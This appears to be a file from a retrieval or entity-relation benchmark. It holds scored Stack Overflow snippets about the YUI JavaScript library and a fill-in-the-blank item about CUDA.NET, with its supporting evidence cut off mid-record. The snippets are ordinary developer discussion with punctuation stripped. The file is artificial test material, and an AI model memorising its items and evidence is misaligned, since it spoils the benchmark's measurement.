in and using the dom-core module from YUI 3.4.1 and using it in Liferay 6 which runs on YUI 3.2.0 .", "YUI 2 or YUI 3", "By default everything in YUI is within the YAHOO namespace so as long as you sensibly apply namespaces to anything you use from YUI I would have thought you should be ok . .. . .. . See : http : developer.yahoo.com yui yahoo", "Is there a reason you re using yui grid for this", "One example of populating a Datatable with JSON data is provided here : .. . .. . http : developer.yahoo.com yui examples datatable dt xhrjson.html .. . .. . An example of how to send a post request using Ajax and YUI is provided here .", "This SO post is essentially the same problem but not YUI specific : http : stackoverflow.com questions 3193182 getting-undefined-in-javascript-when-calling-ajax", "JQuery is just a DOM manipulator YUI is a component framework with a DOM manipulator included .", "I m using all the css files and graphics provided by the samples folder in the YUI download .", "If in addition to using YUI reset.css you also use YUI base.css then you will be all set with a standard set of cross-browser base styles .", "I m using Combres which uses YUI to minify the JavaScript .", "So I thought this http : stackoverflow.com questions 20107 yui-reset-css-makes-strong-and-em-not-work 20145 answer was amongst the better ones .. . .. . If in addition to using YUI reset.css you also use YUI base.css then you will be all set with a standard set of cross-browser base styles .", "Looking for insight or help on the use of yahoo apis : yui transitions .", "http : yuilibrary.com yui docs transition .. . .. . The site was built using a lot of jQuery CSS yui-pure .", "I have a CSS sprite with the following CSS : .. . .. . How can I apply this to a YUI menu", "Chris Heilmann who now works for Yahoo had similar thoughts about YUI when he first started at Yahoo", "In the meantime I ve found the answer myself : This is possible by using the css Configuration Attribute YUI API http : developer.yahoo.com yui docs YAHOO.widget.SimpleEditor.html .", "The whitespace was being created being that YUI uses visibility : hidden rather than display : none", "@Marcel delete is added to the list of reserved-words so won t get replaced github.com yui yuicompressor blob master src com yahoo platform https : github.com yui yuicompressor blob master src com yahoo platform yui-compressor JavaScriptCompressor.java L184", "I am not using YUI layout .", "We have a YUI upload component used in a Struts1.2 web application .", "Events bubble up through the DOM unless they are stopped halt ed in YUI by an event-listener lower down the DOM .", "Right now I am using Chipersoft WMD https : github.com ChiperSoft wmd along with a few Yahoo yui v3.4.0 css libraries reset fonts and grids .", "I am trying to figure out the best way to use CSS sprites as header images for a YUI menu control http : developer.yahoo.com yui menu .", "But if I m not using any significant amount of AJAX I don t need the AJAX utilities provided by jQuery .", "YUI Compress master http : claude.betancourt.us compress-javascript-and-css-as-part-of-your-build-process", "developer.yahoo.com yui theater http : developer.yahoo.com yui theater", "I want to use jQuery for the heavy lifting on the DOM and I want to use YUI for the rich user control set .", "In YUI that parseUA function can be defined in many different places depending on how you set up your website ours happens to define it in the yahoo.js file but it is often defined in utilies yuiloader yui-dom-event and yahoo-dom-event as kinglomei stated .", "I m using the YUI 2 Uploader http : developer.yahoo.com yui uploader to upload some files .", "I ve got YUI set up and working .", "http : developer.yahoo.com yui-grids .. . .. . Basically you can dig into the CSS files for grids and identify where the gutter between columns is set and adjust that in your own CSS file .", "That is not using YUI http : yuilibrary.com .", "the style i used to adjust the margin for yui-gc was : .yui-gc .yui-u margin-left : 0px width : 34", "it also needs to be either wrapped in a yui-u or have an yui-u class in addition to the yui-gc .", "Is there any equivalent code in YUI 3.0 for document.getElementsByName element name of javascript .", "I have just discovered YUI and am trying to get started using it .", "I ve managed to get the YUI DataTable to work using an HTML table element .", "Using DataSchema http : yuilibrary.com yui docs dataschema is the correct way to handle this .", "Are you using your own sync layer or one of the ones provided by YUI", "I implemented the Yahoo Rich Text Editor YUI Editor http : developer.yahoo.com yui editor in a Rails application using the YUI Editor Plugin http : github.com larsklevan yui 5Feditor tree master .", "I am trying to use the YUI Compressor plugin for maven to compress my CSS and JavaScript but I m experiencing two problems .", "I m building a web application project using maven and packaging is set to war .", "I have a YUI 2.8.x MenuButton that is lazily loaded via an AJAX call .", "Do I implement an onSubmit JavaScript function which then triggers some YUI DataSource to go fetch the data", "YUI 3 grids http : developer.yahoo.com yui 3 cssgrids is powerful .", "I have a page that references a couple of externally hosted javascript files - namely jQuery on Google http : code.google.com apis libraries devguide.html and YUI using YUI Loader http : developer.yahoo.com yui yuiloader .", "YUI Paginator definition .. . .. .", "I am compressing the CSS with the YUI compressor : config.assets.css compressor : yui .. . .. . 3 .", "Also in case you are now aware YUI has been end-of-lifed by Yahoo and as far as I know will not be maintained by anyone in the future http : yahooeng.tumblr.com post 96098168666 important-announcement-regarding-yui", "YUI PHP Loader ships with a combo loader that is capable of reducing HTTP requests and increasing performance by outputting all the YUI JavaScript and or CSS requirements as a single request per resource type .", "If you do investigate alternatives to YUI check out the Blueprint CSS Generator http : kematzy.com blueprint-generator .", "Try.. . for YUI .. . .. . Dom.get gadget url .set value .. . .. . with normal Javascript .. . .. . document.getElementById gadget url .value .. . .. . with JQuery", "I know that an HTML table can be created well using KnockoutJS bindings but I find the YUI part tricky .", "I am evaluating several Javascript UI toolkits for building web-applications that have a desktop-like feel mainly because of dialogs and window management .", "I m setting up a YUI DataTable with filtering by following the steps on the YUI site http : developer.yahoo.com yui examples datatable dt localfilter.html .. . .. . However I am using JSON as the DataSource ResponseType .", "The only other CSS I ve applied to UL s are in a nav div but that CSS doesn t touch the list-style-type it uses the reset that YUI provided and YUI and the site style sheet are the only two CSS sheets that are called .", "Here is how I did it using the YUI selectors .", "I m using the YUI Rich Text editor on my site .", "Look for the YUI reset.css .", "How to render a YUI datatable", "I am using YUI uploader .", "I m using Yahoo s YUI library .", "I m using YUI 2 carousel .", "I render a page using YUI .", "I m currently using a YUI gadget .", "Each YAHOO.widget component such as YUI DataTable http : www.developer.yahoo.com yui-datatable uses a YUI DataSource http : www.developer.yahoo.com yui datasource component which provides data needed To populate each rendered YAHOO.widget component .", "I m using post and the YUI documentation example code isn t working .", "I am using YUI datatable 2.8.2 .", "BigDave - what version of YUI are you using", "Take a look at the yui uploader documentation : http : developer.yahoo.com yui docs YAHOO.widget.Uploader.html .. . .. . http : developer.yahoo.com yui examples uploader uploader-advanced-queue.html", "Well on the YUI Compressor website it reads : The YUI Compressor is also able to compress CSS files by using a port of Isaac Schlueter s regular-expression-based CSS minifier .", "We already use the YUI Compressor to compress our full javascript and css files .", "here s the code : .. . .. . I ve added all the yahoo javascript references and the style sheets but it never seems to make the ajax call when I change the text in the myInput box and neither does it show anything.. ." ] }
{ "confidence": [ 47.02960968017578, 42.183170318603516, 41.04035949707031, 40.4385986328125, 40.029945373535156, 39.77837371826172, 39.084327697753906, 38.85892105102539, 38.337623596191406, 38.25428009033203, 37.903926849365234, 37.84880828857422, 37.08099365234375, 36.8141975402832, 36.571998596191406, 36.571998596191406, 36.51462936401367, 36.4439697265625, 36.358543395996094, 36.320404052734375 ], "content": [ "Question : I am trying to convince those who set standards at my current organization that we should use jQuery rather than Prototype and or YUI . What are some convincing advantages I can use to convince them Comment : Everyone and their mom uses it . : P Comment : JQuery is just a DOM manipulator YUI is a component framework with a DOM manipulator included . .. . Answer : Maybe you shouldn t It all depends on what kind of application s you re building . If you are building GUI intensive applications something like say Yahoo Mail then maybe you should consider using YUI or Mootools over jquery . Personally I m a huge jQuery fan but it is definitely best for adding a touch of interaction to an otherwise mostly static UI . On the other hand if that is what you ll be using it for then jquery is a lot simpler has nicer syntax and it has a lot of momentum .", "Question : AS we know that to get value of an element by ID in YUI3.0 we use below code . Is there any equivalent code in YUI 3.0 for document.getElementsByName element name of javascript . Comment : Y.all CSS SELECTOR .. . Answer : You can use any CSS selector such as the attribute selector https : developer.mozilla.org en-US docs Web CSS Attribute selectors . Also keep in mind if the browser supports the native getElementsByName method YUI will use it . But if the browser does not support the native method YUI will brute-force the DOM to find the attribute with a performance penalty .", "Question : I m running Internet Explorer 11 and YUI 2 : Rich Text Editor seems not working . Please see attached screen shot for more detail . Any ideas how to fix this under IE11 enter image description here http : i.stack.imgur.com qlFbH.png Comment : Shouldn t this be reported to YUI and not here File a bug . And shouldn t you move to YUI3 Comment : Hi there I m a member of the YUI team . If you have a JSFiddle Bin of the issue or any site we can take a look at we re definitely more than happy to help you out @epascarello is correct that YUI2 is no longer officially supported but we can still help you as much as we can . Comment : @ClarenceLeung thanks You could just go to YUI 2 official website using IE 11 to see the result . developer.yahoo.com yui examples editor simple adv editor.html http : developer.yahoo.com yui examples editor simple adv editor.html .. . Answer : I posted this elsewhere but thought it applies here as well : .. . .. . I m using 2.7.0b on a legacy site . Just understand that none of these fixes will be exact for you unless you are using the exact same version of the library . This is because as each one was minimized various characters were used for the sake of minimization . So you may have to do some hunting . ALSO bear in mind this may be different for you depending on if you are using yahoo.js by itself yahoo-dom-event.js or as in my case utilities.js . So you will need to make adjustments accordingly . Step 1 : .. . .. . In utilities utilities.js yahoo-dom-event yahoo-dom-event.js on ln 7 Character 1592 ln 396 of yahoo.js : Right after : .. . .. . But before : .. . .. . Add this : .. . .. . Step 2 : .. . .. . In editor editor-min.js editor simpleeditor-min.js on line 13 Character 2078 ln 3135 of editor.js ln 3135 of simpleeditor.js .. . .. . Right after : .. . .. . But before : .. . .. . Add this :", "Question : I m loading a few YUI scripts dynamically in my code in response to an Ajax request . The DOM and the page is fully loaded when the request is made - it s a response for an user event . I add the tag to head as children . But I stumbled in a few problems : .. . .. . I add two YUI scripts hosted at the Yahoo CDN and an inlined script of my own responsible for creating object adding event-listeners and rendering the YUI widgets . But I when my script run the YUI scripts are not loaded yet giving me errors and not running as I expect . There s a way to only run my script or define a function to be run when YUI scripts are fully loaded .. . Answer : If you re using YUI 2.x I highly recommend using the YUI Get http : developer.yahoo.com yui get utility as it s designed to handle just this sort of a problem .", "Question : I m loading a few YUI scripts dynamically in my code in response to an Ajax request . The DOM and the page is fully loaded when the request is made - it s a response for an user event . I add the tag to head as children . But I stumbled in a few problems : .. . .. . I add two YUI scripts hosted at the Yahoo CDN and an inlined script of my own responsible for creating object adding event-listeners and rendering the YUI widgets . But I when my script run the YUI scripts are not loaded yet giving me errors and not running as I expect . There s a way to only run my script or define a function to be run when YUI scripts are fully loaded .. . Answer : If you are loading multiple individual script files from the Yahoo CDN you ll need to makes sure both are loaded before executing your dependent code . You can avoid this using the combo handler . See the Configurator to get what the script url should be to load both all needed YUI files from one url . http : developer.yahoo.com yui articles hosting .. . .. . With that in mind assuming you must load the YUI files asynchronously you should use an onload onreadystatechange handler as noted by digitalFresh . I would recommend the following pattern however :", "Question : I have to preface this with the fact that I love jQuery as a JavaScript language extension and YUI as a rich set of free controls . So here is my question is there going to be any problems down the line if I mix jQuery and YUI together in an MVC app I am working on . I want to use jQuery for the heavy lifting on the DOM and I want to use YUI for the rich user control set . This is an internal application and will never see the light of day outside of the organization I work for . If anybody has experience with mixing these two frameworks I would love to hear what your experience has been . .. . Answer : Speaking from some experience in developing a small tool myself I ve used YUI s rich control set with Prototype for DOM manipulation in the past and experienced no issues . Admittedly this was a small tool that didn t use a wide array of the controls . Even so I m always hesitant to use multiple frameworks on my web projects however if you re only using jQuery s DOM functionality and YUI s control functionality then I think you re fine - there s not really a conflict of interest there . Plus with jQuery s noConflict mode and YUI s namespacing the two frameworks really shouldn t trump one another . Comment : Similarly I ve used YUI for layout grids menuing and jQuery for general purpose DOM traversal manipulation both of which take decent care with namespacing when mixing jQuery with other frameworks libraries use jQuery.noConflict to prevent its use of the variable .", "Question : I have to preface this with the fact that I love jQuery as a JavaScript language extension and YUI as a rich set of free controls . So here is my question is there going to be any problems down the line if I mix jQuery and YUI together in an MVC app I am working on . I want to use jQuery for the heavy lifting on the DOM and I want to use YUI for the rich user control set . This is an internal application and will never see the light of day outside of the organization I work for . If anybody has experience with mixing these two frameworks I would love to hear what your experience has been . .. . Answer : I regularly use jQuery with YUI jQuery for most things YUI for the UI elements with no trouble . Note that YUI 3 will introduce jQuery style selectors and chaining : .. . .. . http : developer.yahoo.com yui 3 Comment : And YUI 3 is already pretty usable", "Question : I am trying to convince those who set standards at my current organization that we should use jQuery rather than Prototype and or YUI . What are some convincing advantages I can use to convince them Comment : Everyone and their mom uses it . : P Comment : JQuery is just a DOM manipulator YUI is a component framework with a DOM manipulator included . .. . Answer : I am a Prototype person but I ve used jQuery a bit . Honestly I don t there is much between the two that you can use as a selling point . The YUI on the other hand is pretty bloated . I would never use it on any commercial grade application . I found this page http : www.barneyb.com barneyblog 2008 05 07 prototype-and-jquery that talks about this exact subject . Comment : Chris Heilmann who now works for Yahoo had similar thoughts about YUI when he first started at Yahoo wait-till-i.com 2007 06 16 http : www.wait-till-i.com 2007 06 16 yui-the-elephant-in-the-room-hackday-presentation-by-nate-koechley-and-chris-heilmann - discusses that . YUI 3 also makes significant changes to the API . Comment : Never use YUI on a commercial grade application Well @LinkedIn they decided differently they use YUI.. . developer.yahoo.com yui poweredby http : developer.yahoo.com yui poweredby", "Question : I m loading a few YUI scripts dynamically in my code in response to an Ajax request . The DOM and the page is fully loaded when the request is made - it s a response for an user event . I add the tag to head as children . But I stumbled in a few problems : .. . .. . I add two YUI scripts hosted at the Yahoo CDN and an inlined script of my own responsible for creating object adding event-listeners and rendering the YUI widgets . But I when my script run the YUI scripts are not loaded yet giving me errors and not running as I expect . There s a way to only run my script or define a function to be run when YUI scripts are fully loaded .. . Answer : If I understand this correctly your ajax response with this : .. . .. . If this is the case this is a clear case in which you should use dispatcher plugin . Dispatcher will emulate the browser loading process for AJAX responses . Basically it will load and execute every script in the exact order . Best Regards Caridy", "Question : I m kind of like stuck trying to implement YUI autocomplete textbox . here s the code : .. . .. . I ve added all the yahoo javascript references and the style sheets but it never seems to make the ajax call when I change the text in the myInput box and neither does it show anything.. . I guess I m missing something imp.. . .. . Answer : To be honest and I know this isn t the most helpful answer.. . you should look into using jQuery these days as it has totally blown YUI out of the water in terms of ease-of-use syntax and community following . Then you could toddle onto http : plugins.jquery.com and find a whole bunch of cool autocomplete plugins with example code etc . Hope this helps . Comment : Maybe you re right.. . after trying for some time I gave up and started to view other alternatives found some pretty cool ones such as mootools autocomplete and others.. . for the record a good list is maintained at webtecker.com 2008 03 10 10-auto-complete-ajax-scripts http : webtecker.com 2008 03 10 10-auto-complete-ajax-scripts . Thanks anyway.. .", "Question : I m using the YUI Rich Text editor on my site . I m loading it using the load javascript from Google . When I try to create a link or any other action that creates an settings box the title bar is missing see picture here http : img150.imageshack.us i missing.png . You can see how it supposed to look over here http : developer.yahoo.com yui examples editor code editor.html at Yahoos site for YUI . I m using this code in the head -tag : .. . .. . And in my webpage : .. . Answer : I might be wrong here but due to SOP http : en.wikipedia.org wiki Same 5Forigin 5Fpolicy Same Origin Policy I don t think JavaScript hosted in Google will be able to modify the DOM unless you are google . Try placing JavaScript in your web server and linking from there : Comment : srry. . you are wrong", "Question : I am not sure why I am getting this error . I was just implementing a simple AJAX search with yahoo YUI . Note I did write getoutputstream to get one error then when I did printwritter I got the first error . .. . .. . YAHOO YUI.......... . .. . .. . Data......... . Comment : can you please tell us which is this line jsp servlet . . jspService peoplesearch.java : 131 . . Comment : @redflar3 It has been updated . .. . Answer : : The DeflaterOutputStream class doesn t support async call . So if we want to use async call we need to disable the gzip filter in web xml .. . .. . https : github.com jhipster generator-jhipster issues 854", "Question : I have to preface this with the fact that I love jQuery as a JavaScript language extension and YUI as a rich set of free controls . So here is my question is there going to be any problems down the line if I mix jQuery and YUI together in an MVC app I am working on . I want to use jQuery for the heavy lifting on the DOM and I want to use YUI for the rich user control set . This is an internal application and will never see the light of day outside of the organization I work for . If anybody has experience with mixing these two frameworks I would love to hear what your experience has been . .. . Answer : This is an old question but wanted to add a link-to jQuery s doc on this topic.. . .. . .. . http : docs.jquery.com Using jQuery with Other Libraries Comment : +1 . Following the advice from that doc I simply included jquery before YUI and things worked well enough for the proof-of-concept I was working on .", "Question : YUI Compressor in its not very extensive documentation states this as an option : .. . .. . Does anyone know what this means What will this turn on off I haven t found any documentation about it . Thanks .. . Answer : Looking at the source of JavaScriptCompressor : .. . .. . lines 548 https : github.com yui yuicompressor blob master src com yahoo platform yui-compressor JavaScriptCompressor.java L548 - .. . .. . lines 467 https : github.com yui yuicompressor blob master src com yahoo platform yui-compressor JavaScriptCompressor.java L467 - .. . .. . lines 497 https : github.com yui yuicompressor blob master src com yahoo platform yui-compressor JavaScriptCompressor.java L497 - .. . .. . So it s converting use of constant strings in foo bar to foo.bar and bar : x to bar : x . Comment : Thanks I m definitely disabling those . For some reason they make me feel a bit weird about YUI doing that to my code . Comment : Why wouldn t you want YUI doing that to your code In JavaScript window.location and window location mean exactly the same thing . Comment : @Matthew use @ to address the reply or I see the message not Daniel Comment : might be problematic in some cases e.g . if you doo foo.delete IE8 will think its a reserved js keyword delete and throw an error so foo delete is necesarry in IE8 . Comment : @Marcel delete is added to the list of reserved-words so won t get replaced github.com yui yuicompressor blob master src com yahoo platform https : github.com yui yuicompressor blob master src com yahoo platform yui-compressor JavaScriptCompressor.java L184", "Question : I am evaluating several Javascript UI toolkits for building web-applications that have a desktop-like feel mainly because of dialogs and window management . I looked at several options - here are my evaluations so far : .. . .. . ExtJS http : extjs.com - Great widget library great docs Not so great license . jQuery UI http : ui.jquery.com - Lack of ready-made window and dialog containers . I love jQuery though . Yahoo UI http : developer.yahoo.com yui - Same problem as above . Really mature but unfortunately is no longer being actively maintained https : yahooeng.tumblr.com post 96098168666 important-announcement-regarding-yui and well documented . Mocha http : mochaui.com demo Mootools-based - Not as mature as the others . Lacks good documentation . SproutCore http : www.sproutcore.com - Same as above . Also doesn t have window and dialog widgets . Cappuccino http : cappuccino.org - Too weird and revolutionary . What s your take on these Are my evaluations correct Comment : JQuery was written as a framework . There are tonnes of great plug-ins that will do what you are looking for . My personal favorite is JQuery . Comment : You should be considering SmartClient . Far far richer than anything you ve listed and a true LGPL license . Look at the features of the 8.0 release - blog.isomorphic.com p 145 http : blog.isomorphic.com p 145 .. . Answer : YUI is very great at UI except that the syntax is a little verbose but hey there are enough documentation on yahoo site to get thing done correctly", "Question : I am evaluating several Javascript UI toolkits for building web-applications that have a desktop-like feel mainly because of dialogs and window management . I looked at several options - here are my evaluations so far : .. . .. . ExtJS http : extjs.com - Great widget library great docs Not so great license . jQuery UI http : ui.jquery.com - Lack of ready-made window and dialog containers . I love jQuery though . Yahoo UI http : developer.yahoo.com yui - Same problem as above . Really mature but unfortunately is no longer being actively maintained https : yahooeng.tumblr.com post 96098168666 important-announcement-regarding-yui and well documented . Mocha http : mochaui.com demo Mootools-based - Not as mature as the others . Lacks good documentation . SproutCore http : www.sproutcore.com - Same as above . Also doesn t have window and dialog widgets . Cappuccino http : cappuccino.org - Too weird and revolutionary . What s your take on these Are my evaluations correct Comment : JQuery was written as a framework . There are tonnes of great plug-ins that will do what you are looking for . My personal favorite is JQuery . Comment : You should be considering SmartClient . Far far richer than anything you ve listed and a true LGPL license . Look at the features of the 8.0 release - blog.isomorphic.com p 145 http : blog.isomorphic.com p 145 .. . Answer : If you want it to look like and work like a desktop app I would choose either Yahoo UI http : developer.yahoo.com yui or Ext.JS http : extjs.com", "Question : I am trying to convince those who set standards at my current organization that we should use jQuery rather than Prototype and or YUI . What are some convincing advantages I can use to convince them Comment : Everyone and their mom uses it . : P Comment : JQuery is just a DOM manipulator YUI is a component framework with a DOM manipulator included . .. . Answer : The 3 main advantages of jQuery are : .. . .. . its light weight when compared to other javascript frameworks .. . it has a wide range of plugins http : plugins.jquery.com available for various specific needs .. . it is easier for a designer to learn javascript as it uses familiar CSS syntax . jQuery is Javascript for Designers http : www.sitepoint.com article jquery-javascipt-designers", "Question : I am trying to figure out the best way to use CSS sprites as header images for a YUI menu control http : developer.yahoo.com yui menu . I have a CSS sprite with the following CSS : .. . .. . How can I apply this to a YUI menu So far I ve applied the navImg0 navImg1 etc . styles to the buttons . They come up in the right position but with a few problems : .. . .. . there are lines between the items and i need to ideal way to remove them .. . when i rollover the button the correct rollover works but then if i roll off the menu and onto the main part of the screen the button disappears .. . the a tags under the li for each of the top level items doesnt work theres no text inside anymore . They have a lot of documentation about applying CSS but I couldn t find any examples of how to use CSS Sprites as images . .. . Answer : I have several YUI menus that use sprites but it s a bit tricky . If you re building from markup it s easy - just add your css class names in the anchor tag . If you re building your menus from javascript you have to add the class after you render the menu . Even though YUI provides a classname configuration property it s not the one you want . You need to apply the sprites at the anchor . Hope that helps . Comment : Oops your description says menu but your title says menu bar . My response applies to the menu . Comment : Still it might be a similar situation .", "Question : Has anyone written any HTMLHelper classes http : blog.wekeroad.com blog aspnet-mvc-preview-using-the-mvc-ui-helpers for MVC that help with Yahoo s User Interface Library http : developer.yahoo.com yui .. . .. . For instance I have written a helper method to convert a menu model into the HTML markup needed to support the Yahoo Menu Control http : developer.yahoo.com yui examples menu topnavfrommarkup source.html . The MVC pattern works well here because obviously if I chose to switch to a different menu implementation I can just write a new helper and not touch the model . This code works for me but isn t fully tested and you re welcome to use it . First we need a simple data structure for the menu model itself . You would add this to your page model with the normal MVC conventions . For instance I access a list of menu items from my view via ViewData.Model.MainMenu.MenuOptions . Extension method . Put in a namespace that is accessible to your view . Stick this code where you want to generate the menu in your view I have this in a master page : .. . .. . If you re lazy or don t know about YUI you ll need this too in your HEAD .. . .. . This currently generates markup for top nav style navigation bar http : developer.yahoo.com yui examples menu topnavfrommarkup source.html - but it could be easily modified . I was hoping somebody else was doing the same for some of the other controls . Seems like a good candidate for an open-source project - but I dont have time to start that . Implementation advice welcomed .. . Answer : Last night I did some thinking about this and am wondering if there s even more opportunity here to make general purpose HTMLHelpers using YUI or whatever other Javascript HTML widgets you want . For instance if there was an interface for IMenu and one for ITextBox ICheckBox IRichTextEditor ICarousel etc . much like your class for a MenuItem then you could have a YUI implementation of each of those interfaces one for JQuery one for MooTools or one for just straight HTML CSS . Part of what sparked this is the generalization that articles like this : http : designingwebinterfaces.com essential controls are taking to UI controls on the web for rich web apps . Those interfaces would contain all of the basic stuff that is obvious at first glance : Id Name Value List Style OnChange OnClick etc . as well as less obvious stuff like ValidationRegex HelpText etc . That would let you have a layer that converts a model object or model property into an ITextBox and not worry about which one of the implementations of the interface will actually be handling it . You could also easily switch to a new implementation if one came along that was better faster cooler . You d have to deal with what should happen if you give something like ValidationRegex to a barebones HTML implementation and it has no way to deal with it but I think it s a path worth thinking about . I also think it might make more sense to implement this as separate from the existing HTMLHelper namespace by inheriting it or just reimplementing it but I am often wrong at this kind of early idea stage of coming up with a solution . The YUIAsp.NET stuff is interesting but is more oriented to WebForms and user-controls than the direction that ASP.NET MVC and even moreso with Fubu MVC recently are going . I tinkered with this idea a little bit and am really intrigued with the possibilities . Comment : none of what i m using is ASP.NET in YUI . its all purely javascript . let me know when you re done with your tinkering :", "Question : When you build run YUIDoc it gets some of his resources from http : yui.yahooapis.com .. . . These resources include the stylesheet and yui.min.js . How can I download and use these resources offline The reason for this is because we run our docs on a HTTPS server . The YUIDoc serves his files always over HTTP protocol . .. . Answer : I had the same problem and I really don t understand why the don t have a valid certificate for yui.yahooapis.com . Here s what works for me with YUIDoc 0.5.0 : .. . .. . Create a custom theme .. . .. . First of all you ll need to create a new theme that overrides some parts of the default theme . Create the following folder structure : .. . .. . Modify the main layout .. . .. . To avoid loading the remote CSS and scripts you need to alter the main layout . Copy the file called main.handlebars from the original theme to your my theme layouts folder . If you installed YUIDoc via node the original file is located in node-modules yuidocjs themes default layouts . Alternatively you can grab it from the yuidoc GitHub repo https : github.com yui yuidoc blob 729888e133a5d2bf3739692981becbd823f3a448 themes default layouts main.handlebars . Make the following changes in that file : .. . .. . 1 . Replace the link tag referencing the remote stylesheet : .. . .. . del link rel stylesheet href yuiGridsUrl del .. . link rel stylesheet href projectAssets css cssgrids-min.css .. . .. . 2 . Replace the script-tag referencing the remote YUI library : .. . .. . del script src yuiSeedUrl script del .. . script src projectAssets yui build yui-base yui-base-min.js script .. . .. . Add a local copy of the remote assets .. . .. . 1 . Fetch the CSS from Yahoo s CDN .. . .. . Download cssgrids-min.css http : yui.yahooapis.com 3.9.1 build cssgrids cssgrids-min.css from the Yahoo CDN and put it in your my theme assets css folder . 2 . Download the YUI 3.9.1 library .. . .. . Download YUI 3.9.1 from http : yui.zenfs.com releases yui3 yui 3.9.1.zip Release Notes http : yuiblog.com blog 2013 03 27 yui-3-9-1-released and put the build folder from the archive to my theme assets yui . Build your docs .. . .. . When building your docs make sure you specify your custom theme : .. . .. . Possible improvements .. . .. . Since this adds a bunch of files to your project it might make sense to dive a little deeper into YUIDoc and see which YUI modules are actually required and remove everything else . Also combining the files would be desirable the library served form Yahoo s CDN does this and it should be possible to get this working locally as well . Comment : Thanks @aaronk6 I tried something like this yesterday and the yui.js still did some HTTP ajax requests . I m gonna try your solution now : Comment : Did it work for you Comment : Yes it worked perfectly : Thanks for your exellent answer and concern . Comment : This is also how you can get the documentation output working in an offline environment . I made an offline theme following these steps including only using the minimum amount of yui modules - which by the way was 69 modules and an assets folder in my case . Combining the files is possible by running a local bundling combo server but I didn t go that far - running it from the file system loads fast enough for me ." ] }
[]
scripting
UNK_RELATION
cuda.net@api@42
cuda.net -- cuda.net is a cross-platform @placeholder allowing .net applications to use cuda nvidia s parallel computing architecture functionality .
{ "confidence": [ 59.82902526855469, 49.688804626464844, 48.01007080078125, 47.52588653564453, 46.48426818847656, 46.48426818847656, 46.48426818847656, 45.54022979736328, 43.88429641723633, 43.75857162475586, 42.77206039428711, 42.77206039428711, 42.77206039428711, 42.54961395263672, 39.69194412231445, 38.75226593017578, 37.77173614501953, 34.691619873046875, 29.597347259521484, 29.49154281616211, 28.203662872314453, 26.87765884399414, 25.37535285949707, 24.2493896484375, 23.898122787475586, 23.68009376525879, 23.637672424316406, 23.417842864990234, 23.378089904785156, 23.270069122314453, 23.270069122314453, 22.980426788330078, 22.76461410522461, 22.623672485351562, 22.433013916015625, 22.287506103515625, 22.11929702758789, 22.080787658691406, 22.072572708129883, 21.96401023864746, 21.809566497802734, 21.53516387939453, 21.16632080078125, 21.16632080078125, 21.16632080078125, 21.16632080078125, 20.957901000976562, 20.939693450927734, 20.709884643554688, 19.794414520263672, 19.59199333190918, 19.59199333190918, 19.59199333190918, 18.559886932373047, 18.441194534301758, 18.430038452148438, 18.422164916992188, 18.119693756103516, 18.086200714111328, 18.086200714111328, 18.086200714111328, 18.086200714111328, 18.086200714111328, 18.086200714111328, 18.086200714111328, 18.086200714111328, 18.086200714111328, 17.86468505859375, 17.736717224121094, 17.360851287841797, 17.231525421142578, 17.16462516784668, 17.16462516784668, 17.16462516784668, 16.932985305786133, 16.932985305786133, 16.849262237548828, 16.849262237548828, 16.77922248840332, 16.77922248840332, 16.77922248840332, 16.77922248840332, 16.77922248840332, 16.77922248840332, 16.77922248840332, 16.77922248840332, 16.132427215576172, 16.132427215576172, 16.111223220825195, 15.70881462097168, 15.527470588684082, 15.363897323608398, 15.011770248413086, 14.415166854858398, 14.202125549316406, 14.135473251342773, 14.011055946350098, 14.011055946350098, 14.011055946350098 ], "content": [ "Cuda.net is implemented via Cuda Driver", "But i don t how to properly use it in CUDA.NET .", "I m writing an article about CUDA and their wrappers and right now I m stuck with what layer of CUDA is used by CUDA.NET or JCUDA .", "Unfortunately CUDA.net is very badly documented but http : www.hoopoe-cloud.com files cuda.net 2.0 CUDA.NET 2.0.pdf should help you get started .", "I m currently using CUDA.NET library by GASS .", "And wrapper is the best definition to CUDA.NET or brigde or something .", "And in your opinion cuda.net is a language binding or a wrapper", "I m trying to write a childish app with CUDA.Net but I m out of luck .", "If this question is actual you can use cuModuleGetGlobal and next cudaMemcpy like this : .. . .. . where CUmodule module cuda.LoadModule MyCode.cubin This code works with NVIDIA GPU Computing SDK 3.1 and CUDA.NET 3.0 .", "I use CUDA.net which has a function which copies an array to the GPU .", "This class from CUDA.NET 3.0 but I m using 2.3 version .", "I try to develop a form application using CUDA.NET in Visual Stuio C .", "It created the .cubin file but I got this error from CUDA.NET : GASS.CUDA.CUResult.ErrorInvalidImage .", "2 : You compile for 32-bit be sure u are compiling and reference cuda.net for 32-bit also for .net .", "I am using CUDA.net for interop with C and it is built as a copy of the driver API .", "Furthermore you still need to write your kernel in CUDA C so http : developer.download.nvidia.com compute cuda 3 2 prod toolkit docs CUDA C Programming Guide.pdf will be a good idea to have a look at as well and perhaps try to start with a start CUDA C application before porting it to CUDA.net .", "I m trying to set my simulation params in constant memory but without luck CUDA.NET .", "It might actually NOT be using it for anything except accessing the CUDA.NET API which is a separate project from CUDAfy that is merged into it .", "CUDA Layers http : www.tomshw.it guides hardware graphic 20080618 images nvidia-CUDA Q-7-111103-13.jpg .. . .. . I guess as my program suggests when i use CUBLAS cublas new CUBLAS cuda that I m using a Library or a library on CUDA Runtime .", "I copied the line in the .cu file s Property Page- Cuda Runtime API- Command Line which is .. . .. . C : Program Files NVIDIA GPU Computing Toolkit CUDA v4.0 bin nvcc.exe -gencode arch compute 20 code sm 20 compute 20 -gencode arch compute 20 code sm 20 compute 20 --machine 32 -ccbin c : Program Files Microsoft Visual Studio 9.0 VC bin -Xcompiler EHsc W3 nologo O2 Zi MT -I C : Program Files NVIDIA GPU Computing Toolkit CUDA v4.0 include -maxrregcount 0 --compile -o Debug device.cubin device.cu .. . .. . device.cu is my cuda file .", "I had to make multiple changes to CUDAfy to make it less brain-damaged than it is but I d suggest you attempt replacing the reference with CUDA.NET and see if it really required CUDAfy .", "The C host code generated by nvcc is based on the CUDA runtime see Section 4.2.5 so applications that link-to this code must use the CUDA runtime API .", "I was using CUDA C for evaluation and now started using cudafy .net .", "Of course you have to have the appropriate CUDA driver before you can run CUDA stuff .", "When I am trying install CUDA Geforce driver from this site http : developer.nvidia.com cuda cuda-downloads I am receiving below error in Windows .", "C : Users xx C : ProgramData NVIDIA Corporation NVIDIA GPU Computing SDK 4.2 C bin win64 Release deviceQuery.exe deviceQuery.exe starting.. . C : ProgramData NVIDIA Corporation NVIDIA GPU Computing SDK 4.2 C bin win64 Relea se deviceQuery.exe Starting.. . CUDA Device Query Runtime API version CUDART static linking Found 1 CUDA Capable device s Device 0 : 